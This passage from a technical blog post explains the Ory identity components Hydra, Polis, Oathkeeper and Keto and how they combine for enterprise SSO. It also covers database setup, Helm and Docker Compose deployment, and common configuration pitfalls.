        </h3><p>Hydra is a certified OAuth 2.0 and OpenID Connect server. It issues access tokens, refresh tokens, and ID tokens. It handles consent flows and manages OAuth2 clients.</p>
<p>The important thing to understand about Hydra is that it delegates authentication decisions. When a user needs to log in, Hydra redirects to an external login UI (Kratos in this case). Once the user authenticates, Kratos tells Hydra the login was successful, and Hydra issues the tokens.</p>
<p>Key details:</p>
<ul>
<li><strong>OAuth2 clients</strong> are registered applications that can request tokens</li>
<li><strong>Consent flow</strong> delegates login and consent decisions to an external UI</li>
<li><strong>Token introspection</strong> validates tokens for resource servers</li>
<li><strong>Maester</strong> is a CRD controller for managing OAuth2 clients as Kubernetes resources</li>
<li><strong>Two APIs</strong>: public API on port <code>4444</code> for OAuth2/OIDC endpoints and admin API on port <code>4445</code> for client and consent management</li>
</ul>
<pre><code class="hljs language-bash">helm install hydra ory/hydra -f hydra-values.yaml
</code></pre><p>The public API exposes the standard OIDC endpoints:</p>
<pre><code class="hljs language-text">/oauth2/auth          - Authorization endpoint
/oauth2/token         - Token endpoint
/.well-known/openid-configuration  - OIDC discovery
</code></pre><p>Hydra needs PostgreSQL with the <code>uuid-ossp</code> extension.</p>
<h3 id="h3-polis-saml-to-oidc-bridge-and-directory-sync" class="group relative scroll-mt-24">
        <a href="#h3-polis-saml-to-oidc-bridge-and-directory-sync" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Polis - SAML-to-OIDC Bridge and Directory Sync
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-polis-saml-to-oidc-bridge-and-directory-sync"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Polis is the enterprise SSO piece. When your customers use SAML identity providers like Okta, Azure AD, or OneLogin, Polis translates those SAML assertions into standard OAuth 2.0 flows. Your application never has to deal with SAML directly.</p>
<p>Beyond the auth bridge, Polis also provides SCIM 2.0 directory sync. This means when a customer adds or removes users in their identity provider, those changes automatically propagate to your system.</p>
<p>Key concepts:</p>
<ul>
<li><strong>SAML bridge</strong> translates customer IdP SAML responses into standard OAuth 2.0 tokens</li>
<li><strong>OIDC federation</strong> also supports connecting to OIDC identity providers directly</li>
<li><strong>Directory sync (SCIM 2.0)</strong> auto-provisions and de-provisions users and groups from the customer&#39;s IdP</li>
<li><strong>Multi-tenancy</strong> keeps each tenant&#39;s SSO connections and directory sync configs isolated</li>
<li><strong>Admin portal</strong> provides a built-in UI for managing SSO connections</li>
</ul>
<p>Polis runs on a single port (<code>5225</code>) that serves the public API, OAuth endpoints, admin portal, and SCIM endpoints:</p>
<pre><code class="hljs language-text">/oauth/authorize                  - OAuth 2.0 authorization
/oauth/token                      - Token endpoint
/oauth/userinfo                   - User info endpoint
/api/v1/sso/                      - SSO connection management
/api/v1/dsync/scim/v2.0/          - SCIM 2.0 directory sync
/.well-known/                     - Protocol discovery
</code></pre><p>Polis supports PostgreSQL, MySQL, MongoDB, Redis, and DynamoDB for storage, but PostgreSQL is the simplest choice if you&#39;re already running it for Kratos and Hydra.</p>
<p>The open-source version is based on BoxyHQ&#39;s Jackson project (<code>boxyhq/jackson</code> Docker image). Ory also offers an enterprise image through their private registry.</p>
<h3 id="h3-oathkeeper-identity-and-access-proxy" class="group relative scroll-mt-24">
        <a href="#h3-oathkeeper-identity-and-access-proxy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Oathkeeper - Identity and Access Proxy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-oathkeeper-identity-and-access-proxy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Oathkeeper is a reverse proxy that authenticates and authorizes incoming requests using zero-trust principles. It sits in front of your API, validates credentials, and mutates requests by adding auth headers before forwarding them upstream.</p>
<p><strong>You might not need this.</strong> If your application already validates tokens (for example, by checking JWTs against the OIDC discovery endpoint), Oathkeeper adds an unnecessary layer. It&#39;s most useful when you have multiple services and want to centralize auth at the proxy level instead of implementing token validation in each one.</p>
<h3 id="h3-keto-fine-grained-authorization" class="group relative scroll-mt-24">
        <a href="#h3-keto-fine-grained-authorization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Keto - Fine-Grained Authorization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keto-fine-grained-authorization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Keto is an authorization engine inspired by Google&#39;s Zanzibar paper. It answers questions like &quot;is user X allowed to perform action Y on resource Z?&quot; and supports RBAC, ABAC, and ACL patterns.</p>
<p><strong>You probably don&#39;t need this either</strong> unless you&#39;re building a multi-service system that needs centralized, cross-service authorization policies. If your application has its own RBAC system, Keto would be redundant.</p>
<h2 id="h2-how-they-connect-together" class="group relative scroll-mt-24">
        <a href="#h2-how-they-connect-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How They Connect Together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-they-connect-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here&#39;s how the components connect for a typical enterprise SSO setup:</p>
<pre><code class="hljs language-text">Customer&#x27;s IdP (Okta, Azure AD, etc.)
        |
        | SAML or OIDC
        v
   +---------+
   |  Polis  |  Translates SAML/OIDC --&gt; standard OAuth 2.0
   +---------+
        |
        | OAuth 2.0 / user identity
        v
   +---------+
   | Kratos  |  Stores user identities, manages sessions
   +---------+
        |
        | Login/consent delegation
        v
   +---------+
   |  Hydra  |  Issues OAuth2/OIDC tokens
   +---------+
        |
        | OIDC tokens (access_token, id_token)
        v
   +----------+
   | Nexboard |  Validates tokens via OIDC authenticator
   +----------+
</code></pre><h3 id="h3-the-authentication-flow-step-by-step" class="group relative scroll-mt-24">
        <a href="#h3-the-authentication-flow-step-by-step" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Authentication Flow Step by Step
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-authentication-flow-step-by-step"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Let&#39;s say you&#39;re building a B2B analytics dashboard called Nexboard that needs enterprise SSO. Here&#39;s how the flow works:</p>
<ol>
<li>A user visits Nexboard and needs to authenticate</li>
<li>Nexboard redirects to Hydra (the OIDC provider)</li>
<li>Hydra delegates to Kratos for login via the configured <code>login_url</code> and <code>consent_url</code></li>
<li>Kratos uses Polis for SAML/OIDC federation with the customer&#39;s identity provider</li>
<li>The customer authenticates with their IdP (for example, Okta via SAML)</li>
<li>Polis bridges the SAML response back to Kratos as a standard OAuth flow</li>
<li>Kratos confirms the identity to Hydra (login + consent)</li>
<li>Hydra issues OIDC tokens (access_token, id_token)</li>
<li>Nexboard validates the token using Hydra&#39;s OIDC discovery endpoint</li>
</ol>
<h3 id="h3-the-directory-sync-flow" class="group relative scroll-mt-24">
        <a href="#h3-the-directory-sync-flow" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Directory Sync Flow
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-directory-sync-flow"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Separately from authentication, Polis handles SCIM-based user provisioning:</p>
<ol>
<li>The customer configures SCIM in their identity provider (Okta, Azure AD)</li>
<li>The IdP pushes user and group changes to the Polis SCIM endpoint</li>
<li>Polis syncs those changes to Kratos, creating, updating, or deleting identities automatically</li>
<li>The result: when users are added or removed in the customer&#39;s IdP, they are automatically provisioned or deprovisioned in Nexboard&#39;s identity system</li>
</ol>
<p>This means you never have to manually manage user accounts for enterprise customers. Their IT team handles it through their existing tools.</p>
<h2 id="h2-database-architecture" class="group relative scroll-mt-24">
        <a href="#h2-database-architecture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Database Architecture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-database-architecture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Each service gets its own database. They can share a PostgreSQL instance, but each needs a separate database:</p>
<table>
<thead>
<tr>
<th>Service</th>
<th>Database</th>
<th>Required Extensions</th>
</tr>
</thead>
<tbody><tr>
<td>Kratos</td>
<td><code>kratos</code></td>
<td><code>pg_trgm</code>, <code>btree_gin</code>, <code>uuid-ossp</code></td>
</tr>
<tr>
<td>Hydra</td>
<td><code>hydra</code></td>
<td><code>uuid-ossp</code></td>
</tr>
<tr>
<td>Polis</td>
<td><code>polis</code></td>
<td>None (standard Postgres)</td>
</tr>
</tbody></table>
<p>Set up the databases and extensions before deploying:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">CREATE</span> DATABASE kratos;
<span class="hljs-keyword">CREATE</span> DATABASE hydra;
<span class="hljs-keyword">CREATE</span> DATABASE polis;

\c kratos
<span class="hljs-keyword">CREATE</span> EXTENSION IF <span class="hljs-keyword">NOT</span> <span class="hljs-keyword">EXISTS</span> pg_trgm;
<span class="hljs-keyword">CREATE</span> EXTENSION IF <span class="hljs-keyword">NOT</span> <span class="hljs-keyword">EXISTS</span> btree_gin;
<span class="hljs-keyword">CREATE</span> EXTENSION IF <span class="hljs-keyword">NOT</span> <span class="hljs-keyword">EXISTS</span> &quot;uuid-ossp&quot;;

\c hydra
<span class="hljs-keyword">CREATE</span> EXTENSION IF <span class="hljs-keyword">NOT</span> <span class="hljs-keyword">EXISTS</span> &quot;uuid-ossp&quot;;
</code></pre><h2 id="h2-oss-vs-enterprise" class="group relative scroll-mt-24">
        <a href="#h2-oss-vs-enterprise" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          OSS vs Enterprise
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-oss-vs-enterprise"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>All the core functionality for identity management, OAuth2 token issuance, SAML bridging, and SCIM directory sync is available in the open-source versions.</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>OSS</th>
<th>Enterprise (OEL)</th>
</tr>
</thead>
<tbody><tr>
<td>OIDC authentication</td>
<td>Yes (Kratos)</td>
<td>Yes</td>
</tr>
<tr>
<td>OAuth2 token issuance</td>
<td>Yes (Hydra)</td>
<td>Yes</td>
</tr>
<tr>
<td>SAML bridge</td>
<td>Yes (Polis/Jackson)</td>
<td>Yes</td>
</tr>
<tr>
<td>SCIM directory sync</td>
<td>Yes (Polis)</td>
<td>Yes</td>
</tr>
<tr>
<td>Resource Owner Password Credentials</td>
<td>No</td>
<td>Yes (Hydra OEL)</td>
</tr>
<tr>
<td>Custom token prefixes</td>
<td>No</td>
<td>Yes (Hydra OEL)</td>
</tr>
<tr>
<td>CVE patches with SLAs</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Premium support</td>
<td>Community only</td>
<td>Yes</td>
</tr>
</tbody></table>
<p>The enterprise images are hosted on Ory&#39;s private Google Artifact Registry and require a GCP service account key for access:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Create the pull secret for OEL images</span>
kubectl create secret docker-registry ory-oel-gcr-secret \
  --docker-server=europe-docker.pkg.dev \
  --docker-username=_json_key \
  --docker-password=<span class="hljs-string">&quot;<span class="hljs-subst">$(cat keyfile.json)</span>&quot;</span> \
  --docker-email=your-email@example.com
</code></pre><p>Enterprise makes sense when you need SLA-backed security patches and support. For getting started and validating your architecture, the OSS versions are fully functional.</p>
<h2 id="h2-which-components-do-you-actually-need" class="group relative scroll-mt-24">
        <a href="#h2-which-components-do-you-actually-need" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Which Components Do You Actually Need?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-which-components-do-you-actually-need"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Not every setup requires the full ecosystem. Here&#39;s a quick guide:</p>
<p><strong>Basic username/password auth:</strong></p>
<ul>
<li>Kratos only. It handles registration, login, recovery, and session management out of the box.</li>
</ul>
<p><strong>OAuth2/OIDC token issuance (API auth, third-party integrations):</strong></p>
<ul>
<li>Kratos + Hydra. Kratos manages identities, Hydra issues tokens.</li>
</ul>
<p><strong>Enterprise SSO (SAML customers, directory sync):</strong></p>
<ul>
<li>Kratos + Hydra + Polis. This is the full stack for B2B SaaS with enterprise customers.</li>
</ul>
<p><strong>Centralized auth proxy (zero-trust, multiple backend services):</strong></p>
<ul>
<li>Add Oathkeeper to any of the above if you want to validate tokens at the proxy layer instead of in each service.</li>
</ul>
<p><strong>Cross-service authorization (fine-grained RBAC/ABAC):</strong></p>
<ul>
<li>Add Keto if your application doesn&#39;t have its own authorization system and you need centralized policies across multiple services.</li>
</ul>
<p>Start with the minimum set and add components as the requirements grow. Each piece is independent and can be added later without rearchitecting.</p>
<h2 id="h2-deploying-on-kubernetes-with-helm" class="group relative scroll-mt-24">
        <a href="#h2-deploying-on-kubernetes-with-helm" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Deploying on Kubernetes with Helm
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-deploying-on-kubernetes-with-helm"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>All Ory components have official Helm charts:</p>
<pre><code class="hljs language-bash">helm repo add ory https://k8s.ory.sh/helm/charts
helm repo update

<span class="hljs-comment"># Deploy in order: databases first, then Kratos, then Hydra, then Polis</span>
helm install kratos ory/kratos -f kratos-values.yaml -n auth
helm install hydra ory/hydra -f hydra-values.yaml -n auth
</code></pre><p>For Polis, you may need a custom Helm chart or a plain Kubernetes deployment since it&#39;s based on the BoxyHQ Jackson project and may not have an official Ory Helm chart yet.</p>
<p>A few things to keep in mind:</p>
<ul>
<li>Run database migrations before starting services (<code>kratos migrate sql</code>, <code>hydra migrate sql</code>)</li>
<li>Use Kubernetes secrets for database DSNs and sensitive configuration</li>
<li>Set up proper ingress rules to expose only the public APIs (<code>4433</code>, <code>4444</code>, <code>5225</code>) and keep admin APIs (<code>4434</code>, <code>4445</code>) internal</li>
<li>Hydra&#39;s <code>login_url</code> and <code>consent_url</code> must point to your Kratos-backed login UI</li>
</ul>
<h2 id="h2-try-it-locally-with-docker-compose" class="group relative scroll-mt-24">
        <a href="#h2-try-it-locally-with-docker-compose" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Try It Locally with Docker Compose
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-try-it-locally-with-docker-compose"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before deploying to Kubernetes, you can spin up Kratos and Hydra locally to get a feel for how they work together:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># docker-compose.yml</span>
<span class="hljs-attr">version:</span> <span class="hljs-string">&quot;3.8&quot;</span>

<span class="hljs-attr">services:</span>
  <span class="hljs-attr">postgres:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">postgres:16</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">POSTGRES_USER:</span> <span class="hljs-string">ory</span>
      <span class="hljs-attr">POSTGRES_PASSWORD:</span> <span class="hljs-string">ory</span>
      <span class="hljs-attr">POSTGRES_MULTIPLE_DATABASES:</span> <span class="hljs-string">kratos,hydra</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;5432:5432&quot;</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">pg_data:/var/lib/postgresql/data</span>

  <span class="hljs-attr">kratos-migrate:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">oryd/kratos:v1.3.0</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">migrate</span> <span class="hljs-string">sql</span> <span class="hljs-string">-e</span> <span class="hljs-string">--yes</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DSN:</span> <span class="hljs-string">postgres://ory:ory@postgres:5432/kratos?sslmode=disable</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">postgres</span>

  <span class="hljs-attr">kratos:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">oryd/kratos:v1.3.0</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">serve</span> <span class="hljs-string">-c</span> <span class="hljs-string">/etc/config/kratos.yml</span> <span class="hljs-string">--dev</span> <span class="hljs-string">--watch-courier</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DSN:</span> <span class="hljs-string">postgres://ory:ory@postgres:5432/kratos?sslmode=disable</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4433:4433&quot;</span>  <span class="hljs-comment"># Public API</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4434:4434&quot;</span>  <span class="hljs-comment"># Admin API</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./kratos:/etc/config</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">kratos-migrate</span>

  <span class="hljs-attr">hydra-migrate:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">oryd/hydra:v2.3.0</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">migrate</span> <span class="hljs-string">sql</span> <span class="hljs-string">-e</span> <span class="hljs-string">--yes</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DSN:</span> <span class="hljs-string">postgres://ory:ory@postgres:5432/hydra?sslmode=disable</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">postgres</span>

  <span class="hljs-attr">hydra:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">oryd/hydra:v2.3.0</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">serve</span> <span class="hljs-string">all</span> <span class="hljs-string">--dev</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DSN:</span> <span class="hljs-string">postgres://ory:ory@postgres:5432/hydra?sslmode=disable</span>
      <span class="hljs-attr">URLS_SELF_ISSUER:</span> <span class="hljs-string">http://localhost:4444</span>
      <span class="hljs-attr">URLS_LOGIN:</span> <span class="hljs-string">http://localhost:4433/self-service/login/browser</span>
      <span class="hljs-attr">URLS_CONSENT:</span> <span class="hljs-string">http://localhost:4433/self-service/login/browser</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4444:4444&quot;</span>  <span class="hljs-comment"># Public API</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4445:4445&quot;</span>  <span class="hljs-comment"># Admin API</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">hydra-migrate</span>

<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">pg_data:</span>
</code></pre><pre><code class="hljs language-bash">docker compose up -d
<span class="hljs-comment"># Wait a few seconds for migrations</span>

<span class="hljs-comment"># Check Kratos is running</span>
curl http://localhost:4433/health/alive

<span class="hljs-comment"># Check Hydra&#x27;s OIDC discovery</span>
curl http://localhost:4444/.well-known/openid-configuration
</code></pre><p>This gives you a working Kratos + Hydra setup to experiment with. You can create identities, test login flows, and see how the two services interact before committing to a full Kubernetes deployment.</p>
<h2 id="h2-common-pitfalls" class="group relative scroll-mt-24">
        <a href="#h2-common-pitfalls" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common Pitfalls
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-common-pitfalls"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few things that trip people up when first working with Ory:</p>
<p><strong>Forgetting database migrations.</strong> Kratos and Hydra both require explicit migration steps before they&#39;ll start. If a pod keeps crash-looping, check if migrations ran successfully.</p>
<p><strong>Exposing admin APIs.</strong> The admin APIs (<code>4434</code> for Kratos, <code>4445</code> for Hydra) allow full identity and client management with no authentication. Never expose these outside your cluster. Use Kubernetes NetworkPolicies or keep them on ClusterIP services only.</p>
<p><strong>Headless means headless.</strong> Kratos has no login page. You need to build a frontend that calls Kratos APIs, or use the reference UI from Ory&#39;s GitHub. This catches people off guard if they&#39;re used to Auth0&#39;s hosted login page.</p>
<p><strong>Hydra does not authenticate users.</strong> This is the most common misconception. Hydra issues tokens, but it delegates the actual &quot;is this person who they say they are?&quot; question to Kratos (or whatever login UI you configure). If your login page isn&#39;t working, the problem is usually in the Kratos configuration or your custom UI, not in Hydra.</p>
<p><strong>Cookie domains and CORS.</strong> When running Kratos behind a different domain than your app, you&#39;ll hit CORS and cookie issues. Make sure <code>serve.public.cors</code> is configured in Kratos and that your cookie domain covers both your app and Kratos.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Ory ecosystem gives you a modular, open-source identity stack that you can deploy on your own infrastructure. The core trio of Kratos (identity), Hydra (tokens), and Polis (enterprise SSO) covers what most B2B applications need. Oathkeeper and Keto are there when you need them, but plenty of setups run fine without them.</p>
<p>The main tradeoff compared to managed auth services like Auth0 or Clerk is operational overhead. You&#39;re running and maintaining these services yourself. But you get full control, no per-user pricing, and no vendor lock-in. For teams already comfortable with Kubernetes, it&#39;s a solid alternative to managed identity platforms.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>